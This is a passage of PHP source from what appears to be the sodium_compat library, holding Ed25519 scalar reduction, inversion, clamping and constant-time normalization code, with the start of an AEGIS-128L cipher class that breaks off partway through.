        //    carry8 = (s8 + (int64_t) (1L << 20)) >> 21;
        //    s9 += carry8;
        //    s8 -= carry8 * ((uint64_t) 1L << 21);
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        //    carry10 = (s10 + (int64_t) (1L << 20)) >> 21;
        //    s11 += carry10;
        //    s10 -= carry10 * ((uint64_t) 1L << 21);
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        //    carry12 = (s12 + (int64_t) (1L << 20)) >> 21;
        //    s13 += carry12;
        //    s12 -= carry12 * ((uint64_t) 1L << 21);
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        //    carry14 = (s14 + (int64_t) (1L << 20)) >> 21;
        //    s15 += carry14;
        //    s14 -= carry14 * ((uint64_t) 1L << 21);
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        //    carry16 = (s16 + (int64_t) (1L << 20)) >> 21;
        //    s17 += carry16;
        //    s16 -= carry16 * ((uint64_t) 1L << 21);
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;
        //    carry18 = (s18 + (int64_t) (1L << 20)) >> 21;
        //    s19 += carry18;
        //    s18 -= carry18 * ((uint64_t) 1L << 21);
        $carry18 = ($s18 + (1 << 20)) >> 21;
        $s19 += $carry18;
        $s18 -= $carry18 << 21;
        //    carry20 = (s20 + (int64_t) (1L << 20)) >> 21;
        //    s21 += carry20;
        //    s20 -= carry20 * ((uint64_t) 1L << 21);
        $carry20 = ($s20 + (1 << 20)) >> 21;
        $s21 += $carry20;
        $s20 -= $carry20 << 21;
        //    carry22 = (s22 + (int64_t) (1L << 20)) >> 21;
        //    s23 += carry22;
        //    s22 -= carry22 * ((uint64_t) 1L << 21);
        $carry22 = ($s22 + (1 << 20)) >> 21;
        $s23 += $carry22;
        $s22 -= $carry22 << 21;

        //    carry1 = (s1 + (int64_t) (1L << 20)) >> 21;
        //    s2 += carry1;
        //    s1 -= carry1 * ((uint64_t) 1L << 21);
        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        //    carry3 = (s3 + (int64_t) (1L << 20)) >> 21;
        //    s4 += carry3;
        //    s3 -= carry3 * ((uint64_t) 1L << 21);
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        //    carry5 = (s5 + (int64_t) (1L << 20)) >> 21;
        //    s6 += carry5;
        //    s5 -= carry5 * ((uint64_t) 1L << 21);
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        //    carry7 = (s7 + (int64_t) (1L << 20)) >> 21;
        //    s8 += carry7;
        //    s7 -= carry7 * ((uint64_t) 1L << 21);
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        //    carry9 = (s9 + (int64_t) (1L << 20)) >> 21;
        //    s10 += carry9;
        //    s9 -= carry9 * ((uint64_t) 1L << 21);
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        //    carry11 = (s11 + (int64_t) (1L << 20)) >> 21;
        //    s12 += carry11;
        //    s11 -= carry11 * ((uint64_t) 1L << 21);
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        //    carry13 = (s13 + (int64_t) (1L << 20)) >> 21;
        //    s14 += carry13;
        //    s13 -= carry13 * ((uint64_t) 1L << 21);
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        //    carry15 = (s15 + (int64_t) (1L << 20)) >> 21;
        //    s16 += carry15;
        //    s15 -= carry15 * ((uint64_t) 1L << 21);
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;
        //    carry17 = (s17 + (int64_t) (1L << 20)) >> 21;
        //    s18 += carry17;
        //    s17 -= carry17 * ((uint64_t) 1L << 21);
        $carry17 = ($s17 + (1 << 20)) >> 21;
        $s18 += $carry17;
        $s17 -= $carry17 << 21;
        //    carry19 = (s19 + (int64_t) (1L << 20)) >> 21;
        //    s20 += carry19;
        //    s19 -= carry19 * ((uint64_t) 1L << 21);
        $carry19 = ($s19 + (1 << 20)) >> 21;
        $s20 += $carry19;
        $s19 -= $carry19 << 21;
        //    carry21 = (s21 + (int64_t) (1L << 20)) >> 21;
        //    s22 += carry21;
        //    s21 -= carry21 * ((uint64_t) 1L << 21);
        $carry21 = ($s21 + (1 << 20)) >> 21;
        $s22 += $carry21;
        $s21 -= $carry21 << 21;

        //    s11 += s23 * 666643;
        //    s12 += s23 * 470296;
        //    s13 += s23 * 654183;
        //    s14 -= s23 * 997805;
        //    s15 += s23 * 136657;
        //    s16 -= s23 * 683901;
        $s11 += self::mul($s23, 666643, 20);
        $s12 += self::mul($s23, 470296, 19);
        $s13 += self::mul($s23, 654183, 20);
        $s14 -= self::mul($s23, 997805, 20);
        $s15 += self::mul($s23, 136657, 18);
        $s16 -= self::mul($s23, 683901, 20);

        //    s10 += s22 * 666643;
        //    s11 += s22 * 470296;
        //    s12 += s22 * 654183;
        //    s13 -= s22 * 997805;
        //    s14 += s22 * 136657;
        //    s15 -= s22 * 683901;
        $s10 += self::mul($s22, 666643, 20);
        $s11 += self::mul($s22, 470296, 19);
        $s12 += self::mul($s22, 654183, 20);
        $s13 -= self::mul($s22, 997805, 20);
        $s14 += self::mul($s22, 136657, 18);
        $s15 -= self::mul($s22, 683901, 20);

        //    s9 += s21 * 666643;
        //    s10 += s21 * 470296;
        //    s11 += s21 * 654183;
        //    s12 -= s21 * 997805;
        //    s13 += s21 * 136657;
        //    s14 -= s21 * 683901;
        $s9 += self::mul($s21, 666643, 20);
        $s10 += self::mul($s21, 470296, 19);
        $s11 += self::mul($s21, 654183, 20);
        $s12 -= self::mul($s21, 997805, 20);
        $s13 += self::mul($s21, 136657, 18);
        $s14 -= self::mul($s21, 683901, 20);

        //    s8 += s20 * 666643;
        //    s9 += s20 * 470296;
        //    s10 += s20 * 654183;
        //    s11 -= s20 * 997805;
        //    s12 += s20 * 136657;
        //    s13 -= s20 * 683901;
        $s8 += self::mul($s20, 666643, 20);
        $s9 += self::mul($s20, 470296, 19);
        $s10 += self::mul($s20, 654183, 20);
        $s11 -= self::mul($s20, 997805, 20);
        $s12 += self::mul($s20, 136657, 18);
        $s13 -= self::mul($s20, 683901, 20);

        //    s7 += s19 * 666643;
        //    s8 += s19 * 470296;
        //    s9 += s19 * 654183;
        //    s10 -= s19 * 997805;
        //    s11 += s19 * 136657;
        //    s12 -= s19 * 683901;
        $s7 += self::mul($s19, 666643, 20);
        $s8 += self::mul($s19, 470296, 19);
        $s9 += self::mul($s19, 654183, 20);
        $s10 -= self::mul($s19, 997805, 20);
        $s11 += self::mul($s19, 136657, 18);
        $s12 -= self::mul($s19, 683901, 20);

        //    s6 += s18 * 666643;
        //    s7 += s18 * 470296;
        //    s8 += s18 * 654183;
        //    s9 -= s18 * 997805;
        //    s10 += s18 * 136657;
        //    s11 -= s18 * 683901;
        $s6 += self::mul($s18, 666643, 20);
        $s7 += self::mul($s18, 470296, 19);
        $s8 += self::mul($s18, 654183, 20);
        $s9 -= self::mul($s18, 997805, 20);
        $s10 += self::mul($s18, 136657, 18);
        $s11 -= self::mul($s18, 683901, 20);

        //    carry6 = (s6 + (int64_t) (1L << 20)) >> 21;
        //    s7 += carry6;
        //    s6 -= carry6 * ((uint64_t) 1L << 21);
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        //    carry8 = (s8 + (int64_t) (1L << 20)) >> 21;
        //    s9 += carry8;
        //    s8 -= carry8 * ((uint64_t) 1L << 21);
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        //    carry10 = (s10 + (int64_t) (1L << 20)) >> 21;
        //    s11 += carry10;
        //    s10 -= carry10 * ((uint64_t) 1L << 21);
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        //    carry12 = (s12 + (int64_t) (1L << 20)) >> 21;
        //    s13 += carry12;
        //    s12 -= carry12 * ((uint64_t) 1L << 21);
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        //    carry14 = (s14 + (int64_t) (1L << 20)) >> 21;
        //    s15 += carry14;
        //    s14 -= carry14 * ((uint64_t) 1L << 21);
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        //    carry16 = (s16 + (int64_t) (1L << 20)) >> 21;
        //    s17 += carry16;
        //    s16 -= carry16 * ((uint64_t) 1L << 21);
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;

        //    carry7 = (s7 + (int64_t) (1L << 20)) >> 21;
        //    s8 += carry7;
        //    s7 -= carry7 * ((uint64_t) 1L << 21);
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        //    carry9 = (s9 + (int64_t) (1L << 20)) >> 21;
        //    s10 += carry9;
        //    s9 -= carry9 * ((uint64_t) 1L << 21);
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        //    carry11 = (s11 + (int64_t) (1L << 20)) >> 21;
        //    s12 += carry11;
        //    s11 -= carry11 * ((uint64_t) 1L << 21);
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        //    carry13 = (s13 + (int64_t) (1L << 20)) >> 21;
        //    s14 += carry13;
        //    s13 -= carry13 * ((uint64_t) 1L << 21);
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        //    carry15 = (s15 + (int64_t) (1L << 20)) >> 21;
        //    s16 += carry15;
        //    s15 -= carry15 * ((uint64_t) 1L << 21);
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;

        //    s5 += s17 * 666643;
        //    s6 += s17 * 470296;
        //    s7 += s17 * 654183;
        //    s8 -= s17 * 997805;
        //    s9 += s17 * 136657;
        //    s10 -= s17 * 683901;
        $s5 += self::mul($s17, 666643, 20);
        $s6 += self::mul($s17, 470296, 19);
        $s7 += self::mul($s17, 654183, 20);
        $s8 -= self::mul($s17, 997805, 20);
        $s9 += self::mul($s17, 136657, 18);
        $s10 -= self::mul($s17, 683901, 20);

        //    s4 += s16 * 666643;
        //    s5 += s16 * 470296;
        //    s6 += s16 * 654183;
        //    s7 -= s16 * 997805;
        //    s8 += s16 * 136657;
        //    s9 -= s16 * 683901;
        $s4 += self::mul($s16, 666643, 20);
        $s5 += self::mul($s16, 470296, 19);
        $s6 += self::mul($s16, 654183, 20);
        $s7 -= self::mul($s16, 997805, 20);
        $s8 += self::mul($s16, 136657, 18);
        $s9 -= self::mul($s16, 683901, 20);

        //    s3 += s15 * 666643;
        //    s4 += s15 * 470296;
        //    s5 += s15 * 654183;
        //    s6 -= s15 * 997805;
        //    s7 += s15 * 136657;
        //    s8 -= s15 * 683901;
        $s3 += self::mul($s15, 666643, 20);
        $s4 += self::mul($s15, 470296, 19);
        $s5 += self::mul($s15, 654183, 20);
        $s6 -= self::mul($s15, 997805, 20);
        $s7 += self::mul($s15, 136657, 18);
        $s8 -= self::mul($s15, 683901, 20);

        //    s2 += s14 * 666643;
        //    s3 += s14 * 470296;
        //    s4 += s14 * 654183;
        //    s5 -= s14 * 997805;
        //    s6 += s14 * 136657;
        //    s7 -= s14 * 683901;
        $s2 += self::mul($s14, 666643, 20);
        $s3 += self::mul($s14, 470296, 19);
        $s4 += self::mul($s14, 654183, 20);
        $s5 -= self::mul($s14, 997805, 20);
        $s6 += self::mul($s14, 136657, 18);
        $s7 -= self::mul($s14, 683901, 20);

        //    s1 += s13 * 666643;
        //    s2 += s13 * 470296;
        //    s3 += s13 * 654183;
        //    s4 -= s13 * 997805;
        //    s5 += s13 * 136657;
        //    s6 -= s13 * 683901;
        $s1 += self::mul($s13, 666643, 20);
        $s2 += self::mul($s13, 470296, 19);
        $s3 += self::mul($s13, 654183, 20);
        $s4 -= self::mul($s13, 997805, 20);
        $s5 += self::mul($s13, 136657, 18);
        $s6 -= self::mul($s13, 683901, 20);

        //    s0 += s12 * 666643;
        //    s1 += s12 * 470296;
        //    s2 += s12 * 654183;
        //    s3 -= s12 * 997805;
        //    s4 += s12 * 136657;
        //    s5 -= s12 * 683901;
        //    s12 = 0;
        $s0 += self::mul($s12, 666643, 20);
        $s1 += self::mul($s12, 470296, 19);
        $s2 += self::mul($s12, 654183, 20);
        $s3 -= self::mul($s12, 997805, 20);
        $s4 += self::mul($s12, 136657, 18);
        $s5 -= self::mul($s12, 683901, 20);
        $s12 = 0;

        //    carry0 = (s0 + (int64_t) (1L << 20)) >> 21;
        //    s1 += carry0;
        //    s0 -= carry0 * ((uint64_t) 1L << 21);
        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        //    carry2 = (s2 + (int64_t) (1L << 20)) >> 21;
        //    s3 += carry2;
        //    s2 -= carry2 * ((uint64_t) 1L << 21);
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        //    carry4 = (s4 + (int64_t) (1L << 20)) >> 21;
        //    s5 += carry4;
        //    s4 -= carry4 * ((uint64_t) 1L << 21);
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        //    carry6 = (s6 + (int64_t) (1L << 20)) >> 21;
        //    s7 += carry6;
        //    s6 -= carry6 * ((uint64_t) 1L << 21);
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        //    carry8 = (s8 + (int64_t) (1L << 20)) >> 21;
        //    s9 += carry8;
        //    s8 -= carry8 * ((uint64_t) 1L << 21);
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        //    carry10 = (s10 + (int64_t) (1L << 20)) >> 21;
        //    s11 += carry10;
        //    s10 -= carry10 * ((uint64_t) 1L << 21);
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        //    carry1 = (s1 + (int64_t) (1L << 20)) >> 21;
        //    s2 += carry1;
        //    s1 -= carry1 * ((uint64_t) 1L << 21);
        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        //    carry3 = (s3 + (int64_t) (1L << 20)) >> 21;
        //    s4 += carry3;
        //    s3 -= carry3 * ((uint64_t) 1L << 21);
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        //    carry5 = (s5 + (int64_t) (1L << 20)) >> 21;
        //    s6 += carry5;
        //    s5 -= carry5 * ((uint64_t) 1L << 21);
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        //    carry7 = (s7 + (int64_t) (1L << 20)) >> 21;
        //    s8 += carry7;
        //    s7 -= carry7 * ((uint64_t) 1L << 21);
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        //    carry9 = (s9 + (int64_t) (1L << 20)) >> 21;
        //    s10 += carry9;
        //    s9 -= carry9 * ((uint64_t) 1L << 21);
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        //    carry11 = (s11 + (int64_t) (1L << 20)) >> 21;
        //    s12 += carry11;
        //    s11 -= carry11 * ((uint64_t) 1L << 21);
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        //    s0 += s12 * 666643;
        //    s1 += s12 * 470296;
        //    s2 += s12 * 654183;
        //    s3 -= s12 * 997805;
        //    s4 += s12 * 136657;
        //    s5 -= s12 * 683901;
        //    s12 = 0;
        $s0 += self::mul($s12, 666643, 20);
        $s1 += self::mul($s12, 470296, 19);
        $s2 += self::mul($s12, 654183, 20);
        $s3 -= self::mul($s12, 997805, 20);
        $s4 += self::mul($s12, 136657, 18);
        $s5 -= self::mul($s12, 683901, 20);
        $s12 = 0;

        //    carry0 = s0 >> 21;
        //    s1 += carry0;
        //    s0 -= carry0 * ((uint64_t) 1L << 21);
        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        //    carry1 = s1 >> 21;
        //    s2 += carry1;
        //    s1 -= carry1 * ((uint64_t) 1L << 21);
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        //    carry2 = s2 >> 21;
        //    s3 += carry2;
        //    s2 -= carry2 * ((uint64_t) 1L << 21);
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        //    carry3 = s3 >> 21;
        //    s4 += carry3;
        //    s3 -= carry3 * ((uint64_t) 1L << 21);
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        //    carry4 = s4 >> 21;
        //    s5 += carry4;
        //    s4 -= carry4 * ((uint64_t) 1L << 21);
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        //    carry5 = s5 >> 21;
        //    s6 += carry5;
        //    s5 -= carry5 * ((uint64_t) 1L << 21);
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        //    carry6 = s6 >> 21;
        //    s7 += carry6;
        //    s6 -= carry6 * ((uint64_t) 1L << 21);
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        //    carry7 = s7 >> 21;
        //    s8 += carry7;
        //    s7 -= carry7 * ((uint64_t) 1L << 21);
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        //    carry8 = s8 >> 21;
        //    s9 += carry8;
        //    s8 -= carry8 * ((uint64_t) 1L << 21);
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        //    carry9 = s9 >> 21;
        //    s10 += carry9;
        //    s9 -= carry9 * ((uint64_t) 1L << 21);
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        //    carry10 = s10 >> 21;
        //    s11 += carry10;
        //    s10 -= carry10 * ((uint64_t) 1L << 21);
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        //    carry11 = s11 >> 21;
        //    s12 += carry11;
        //    s11 -= carry11 * ((uint64_t) 1L << 21);
        $carry11 = $s11 >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        //    s0 += s12 * 666643;
        //    s1 += s12 * 470296;
        //    s2 += s12 * 654183;
        //    s3 -= s12 * 997805;
        //    s4 += s12 * 136657;
        //    s5 -= s12 * 683901;
        $s0 += self::mul($s12, 666643, 20);
        $s1 += self::mul($s12, 470296, 19);
        $s2 += self::mul($s12, 654183, 20);
        $s3 -= self::mul($s12, 997805, 20);
        $s4 += self::mul($s12, 136657, 18);
        $s5 -= self::mul($s12, 683901, 20);

        //    carry0 = s0 >> 21;
        //    s1 += carry0;
        //    s0 -= carry0 * ((uint64_t) 1L << 21);
        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        //    carry1 = s1 >> 21;
        //    s2 += carry1;
        //    s1 -= carry1 * ((uint64_t) 1L << 21);
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        //    carry2 = s2 >> 21;
        //    s3 += carry2;
        //    s2 -= carry2 * ((uint64_t) 1L << 21);
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        //    carry3 = s3 >> 21;
        //    s4 += carry3;
        //    s3 -= carry3 * ((uint64_t) 1L << 21);
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        //    carry4 = s4 >> 21;
        //    s5 += carry4;
        //    s4 -= carry4 * ((uint64_t) 1L << 21);
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        //    carry5 = s5 >> 21;
        //    s6 += carry5;
        //    s5 -= carry5 * ((uint64_t) 1L << 21);
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        //    carry6 = s6 >> 21;
        //    s7 += carry6;
        //    s6 -= carry6 * ((uint64_t) 1L << 21);
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        //    carry7 = s7 >> 21;
        //    s8 += carry7;
        //    s7 -= carry7 * ((uint64_t) 1L << 21);
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        //    carry8 = s8 >> 21;
        //    s9 += carry8;
        //    s8 -= carry8 * ((uint64_t) 1L << 21);
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        //    carry9 = s9 >> 21;
        //    s10 += carry9;
        //    s9 -= carry9 * ((uint64_t) 1L << 21);
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        //    carry10 = s10 >> 21;
        //    s11 += carry10;
        //    s10 -= carry10 * ((uint64_t) 1L << 21);
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        $s = array_fill(0, 32, 0);
        // s[0]  = s0 >> 0;
        $s[0]  = $s0 >> 0;
        // s[1]  = s0 >> 8;
        $s[1]  = $s0 >> 8;
        // s[2]  = (s0 >> 16) | (s1 * ((uint64_t) 1 << 5));
        $s[2]  = ($s0 >> 16) | ($s1 << 5);
        // s[3]  = s1 >> 3;
        $s[3]  = $s1 >> 3;
        // s[4]  = s1 >> 11;
        $s[4]  = $s1 >> 11;
        // s[5]  = (s1 >> 19) | (s2 * ((uint64_t) 1 << 2));
        $s[5]  = ($s1 >> 19) | ($s2 << 2);
        // s[6]  = s2 >> 6;
        $s[6]  = $s2 >> 6;
        // s[7]  = (s2 >> 14) | (s3 * ((uint64_t) 1 << 7));
        $s[7]  = ($s2 >> 14) | ($s3 << 7);
        // s[8]  = s3 >> 1;
        $s[8]  = $s3 >> 1;
        // s[9]  = s3 >> 9;
        $s[9]  = $s3 >> 9;
        // s[10] = (s3 >> 17) | (s4 * ((uint64_t) 1 << 4));
        $s[10] = ($s3 >> 17) | ($s4 << 4);
        // s[11] = s4 >> 4;
        $s[11] = $s4 >> 4;
        // s[12] = s4 >> 12;
        $s[12] = $s4 >> 12;
        // s[13] = (s4 >> 20) | (s5 * ((uint64_t) 1 << 1));
        $s[13] = ($s4 >> 20) | ($s5 << 1);
        // s[14] = s5 >> 7;
        $s[14] = $s5 >> 7;
        // s[15] = (s5 >> 15) | (s6 * ((uint64_t) 1 << 6));
        $s[15] = ($s5 >> 15) | ($s6 << 6);
        // s[16] = s6 >> 2;
        $s[16] = $s6 >> 2;
        // s[17] = s6 >> 10;
        $s[17] = $s6 >> 10;
        // s[18] = (s6 >> 18) | (s7 * ((uint64_t) 1 << 3));
        $s[18] = ($s6 >> 18) | ($s7 << 3);
        // s[19] = s7 >> 5;
        $s[19] = $s7 >> 5;
        // s[20] = s7 >> 13;
        $s[20] = $s7 >> 13;
        // s[21] = s8 >> 0;
        $s[21] = $s8 >> 0;
        // s[22] = s8 >> 8;
        $s[22] = $s8 >> 8;
        // s[23] = (s8 >> 16) | (s9 * ((uint64_t) 1 << 5));
        $s[23] = ($s8 >> 16) | ($s9 << 5);
        // s[24] = s9 >> 3;
        $s[24] = $s9 >> 3;
        // s[25] = s9 >> 11;
        $s[25] = $s9 >> 11;
        // s[26] = (s9 >> 19) | (s10 * ((uint64_t) 1 << 2));
        $s[26] = ($s9 >> 19) | ($s10 << 2);
        // s[27] = s10 >> 6;
        $s[27] = $s10 >> 6;
        // s[28] = (s10 >> 14) | (s11 * ((uint64_t) 1 << 7));
        $s[28] = ($s10 >> 14) | ($s11 << 7);
        // s[29] = s11 >> 1;
        $s[29] = $s11 >> 1;
        // s[30] = s11 >> 9;
        $s[30] = $s11 >> 9;
        // s[31] = s11 >> 17;
        $s[31] = $s11 >> 17;
        return self::intArrayToString($s);
    }

    /**
     * @param string $s
     * @return string
     */
    public static function sc25519_sq($s)
    {
        return self::sc25519_mul($s, $s);
    }

    /**
     * @param string $s
     * @param int $n
     * @param string $a
     * @return string
     */
    public static function sc25519_sqmul($s, $n, $a)
    {
        for ($i = 0; $i < $n; ++$i) {
            $s = self::sc25519_sq($s);
        }
        return self::sc25519_mul($s, $a);
    }

    /**
     * @param string $s
     * @return string
     */
    public static function sc25519_invert($s)
    {
        $_10 = self::sc25519_sq($s);
        $_11 = self::sc25519_mul($s, $_10);
        $_100 = self::sc25519_mul($s, $_11);
        $_1000 = self::sc25519_sq($_100);
        $_1010 = self::sc25519_mul($_10, $_1000);
        $_1011 = self::sc25519_mul($s, $_1010);
        $_10000 = self::sc25519_sq($_1000);
        $_10110 = self::sc25519_sq($_1011);
        $_100000 = self::sc25519_mul($_1010, $_10110);
        $_100110 = self::sc25519_mul($_10000, $_10110);
        $_1000000 = self::sc25519_sq($_100000);
        $_1010000 = self::sc25519_mul($_10000, $_1000000);
        $_1010011 = self::sc25519_mul($_11, $_1010000);
        $_1100011 = self::sc25519_mul($_10000, $_1010011);
        $_1100111 = self::sc25519_mul($_100, $_1100011);
        $_1101011 = self::sc25519_mul($_100, $_1100111);
        $_10010011 = self::sc25519_mul($_1000000, $_1010011);
        $_10010111 = self::sc25519_mul($_100, $_10010011);
        $_10111101 = self::sc25519_mul($_100110, $_10010111);
        $_11010011 = self::sc25519_mul($_10110, $_10111101);
        $_11100111 = self::sc25519_mul($_1010000, $_10010111);
        $_11101011 = self::sc25519_mul($_100, $_11100111);
        $_11110101 = self::sc25519_mul($_1010, $_11101011);

        $recip = self::sc25519_mul($_1011, $_11110101);
        $recip = self::sc25519_sqmul($recip, 126, $_1010011);
        $recip = self::sc25519_sqmul($recip, 9, $_10);
        $recip = self::sc25519_mul($recip, $_11110101);
        $recip = self::sc25519_sqmul($recip, 7, $_1100111);
        $recip = self::sc25519_sqmul($recip, 9, $_11110101);
        $recip = self::sc25519_sqmul($recip, 11, $_10111101);
        $recip = self::sc25519_sqmul($recip, 8, $_11100111);
        $recip = self::sc25519_sqmul($recip, 9, $_1101011);
        $recip = self::sc25519_sqmul($recip, 6, $_1011);
        $recip = self::sc25519_sqmul($recip, 14, $_10010011);
        $recip = self::sc25519_sqmul($recip, 10, $_1100011);
        $recip = self::sc25519_sqmul($recip, 9, $_10010111);
        $recip = self::sc25519_sqmul($recip, 10, $_11110101);
        $recip = self::sc25519_sqmul($recip, 8, $_11010011);
        return self::sc25519_sqmul($recip, 8, $_11101011);
    }

    /**
     * @param string $s
     * @return string
     */
    public static function clamp($s)
    {
        $s_ = self::stringToIntArray($s);
        $s_[0] &= 248;
        $s_[31] |= 64;
        $s_[31] &= 128;
        return self::intArrayToString($s_);
    }

    /**
     * Ensure limbs are less than 28 bits long to prevent float promotion.
     *
     * This uses a constant-time conditional swap under the hood.
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_normalize(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $x = (PHP_INT_SIZE << 3) - 1; // 31 or 63

        $g = self::fe_copy($f);
        for ($i = 0; $i < 10; ++$i) {
            $mask = -(($g[$i] >> $x) & 1);

            /*
             * Get two candidate normalized values for $g[$i], depending on the sign of $g[$i]:
             */
            $a = $g[$i] & 0x7ffffff;
            $b = -((-$g[$i]) & 0x7ffffff);

            /*
             * Return the appropriate candidate value, based on the sign of the original input:
             *
             * The following is equivalent to this ternary:
             *
             * $g[$i] = (($g[$i] >> $x) & 1) ? $a : $b;
             *
             * Except what's written doesn't contain timing leaks.
             */
            $g[$i] = ($a ^ (($a ^ $b) & $mask));
        }
        return $g;
    }
}
Core/AEGIS128L.php000064400000007124151024233030007341 0ustar00<?php

if (!defined('SODIUM_COMPAT_AEGIS_C0')) {
    define('SODIUM_COMPAT_AEGIS_C0', "\x00\x01\x01\x02\x03\x05\x08\x0d\x15\x22\x37\x59\x90\xe9\x79\x62");
}
if (!defined('SODIUM_COMPAT_AEGIS_C1')) {
    define('SODIUM_COMPAT_AEGIS_C1', "\xdb\x3d\x18\x55\x6d\xc2\x2f\xf1\x20\x11\x31\x42\x73\xb5\x28\xdd");
}

class ParagonIE_Sodium_Core_AEGIS128L extends ParagonIE_Sodium_Core_AES
{
    /**
     * @param string $ct
     * @param string $tag
     * @param string $ad
     * @param string $key
     * @param string $nonce
     * @return string
     * @throws SodiumException
     */
    public static function decrypt($ct, $tag, $ad, $key, $nonce)
    {
        $state = self::init($key, $nonce);
        $ad_blocks = (self::strlen($ad) + 31) >> 5;
        for ($i = 0; $i < $ad_blocks; ++$i) {
            $ai = self::substr($ad, $i << 5, 32);
